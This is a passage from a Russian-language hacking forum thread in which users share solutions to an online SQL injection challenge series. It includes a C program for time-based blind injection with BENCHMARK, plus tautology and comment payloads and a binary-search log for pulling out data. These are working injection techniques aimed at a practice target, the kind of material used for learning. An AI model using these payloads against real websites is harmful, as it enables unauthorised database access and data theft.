sprintf(url,"https://alexbers.com/sql/lastlevel10.php?text=if%%28%%28select+count%%28*%% 29+from+level10.davidblayne+where+ascii%%28substri ng%%28%s%%2C%d%%2C1%%29%%29>%d%%29%%3D1%%2CBENCHMA RK%%285000000%%2CENCODE%%28%%27DROP+DA+BOMB%%27%%2 C%%27Doctor+Phineas+Waldolf+Steel%%27%%29%%29%%2Cn ull%%29%%3B",tableName,charNum,cmax);//>
ret=NULL;
unsigned int start_time = clock();
curlPOST(url,NULL,&ret);
unsigned int end_time = clock();
free(ret);
if( ((double)end_time - (double)start_time)2500.0) return cmax; else ++cmax;
}
return -1;
}
void main()
{
int i,i1;
char curChar;
char *tableList[]={"first","second","morkovka","wtf","genius"};
for(i=0;i
Код:
select if((select count(*) from level10.davidblayne where ascii(substring(first,1,1))=105)=1,BENCHMARK(5000000,ENCODE('DROP DA BOMB','Doctor Phineas Waldolf Steel')),null);
Основано на запросе выше.
Содержимое базы следующее:- 55
- 44
- wantamorkovka
- wtf?
- yes
Что из них ответ - догадайтесь сами. Квест пройден.
Если сам, молодец, но вот как пример, как можно пройти 8 и 9 задачу....решение по 8-мой схоже, только без определения кол-во символов первоначально, а 9-ое, на мой взгляд элегантнее, в два запроса. но за код плюс тебе
http://habrahabr.ru/post/253885/#first_unread
|
|
|

29.06.2015, 19:53
|
|
Новичок
Регистрация: 25.06.2015
Сообщений: 3
Провел на форуме: 1034
Репутация:
0
|
|
Сам.
Сообщение от frank
↑
Если сам, молодец, но вот как пример, как можно пройти 8 и 9 задачу....решение по 8-мой схоже, только без определения кол-во символов первоначально, а 9-ое, на мой взгляд элегантнее, в два запроса. но за код плюс тебе
http://habrahabr.ru/post/253885/#first_unread
Не видел и даже не пытался искать. Код можно (и нужно) доработать, возможно потом займусь этим.
|
|
|

30.06.2015, 02:04
|
|
Познавший АНТИЧАТ
Регистрация: 09.05.2015
Сообщений: 1,066
Провел на форуме: 238786
Репутация:
40
|
|
Сообщение от Dude
↑
Сам.
Не видел и даже не пытался искать. Код можно (и нужно) доработать, возможно потом займусь этим.
Молодец, хорошо крутишь sql
|
|
|

30.06.2015, 15:06
|
|
Постоянный
Регистрация: 22.11.2010
Сообщений: 545
Провел на форуме: 182660
Репутация:
324
|
|
Более короткое (и я считаю что более интересное) решение второго задания:
Код:
https://alexbers.com/sql/qnbutn2.php?text='or'1
результатом станет вывод всей таблицы.
аналогично третий
Код:
https://alexbers.com/sql/sdjjy3.php?text='or(1)%23
девятый быстро проходится сложив в запросе всё и подобрав сразу сумму
Код:
https://alexbers.com/sql/almost9.php?text=20+and+(select+sum(login)+from+users+where+id>=20+and+id=2225
Подбирал ручками и вышло 14 запросов:
100 +
1000 +
2000 +
3000 -
2500 -
2250 -
2125 +
2187 +
2218 +
2233 -
2226 -
2223 +
2224 +
2225 =
При посимвольном переборе вышло бы 11 запросов + ~4 чтобы узнать длину строки суммы.
update//
глянул на хабре прохождение 9 и ушел читать документацию
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|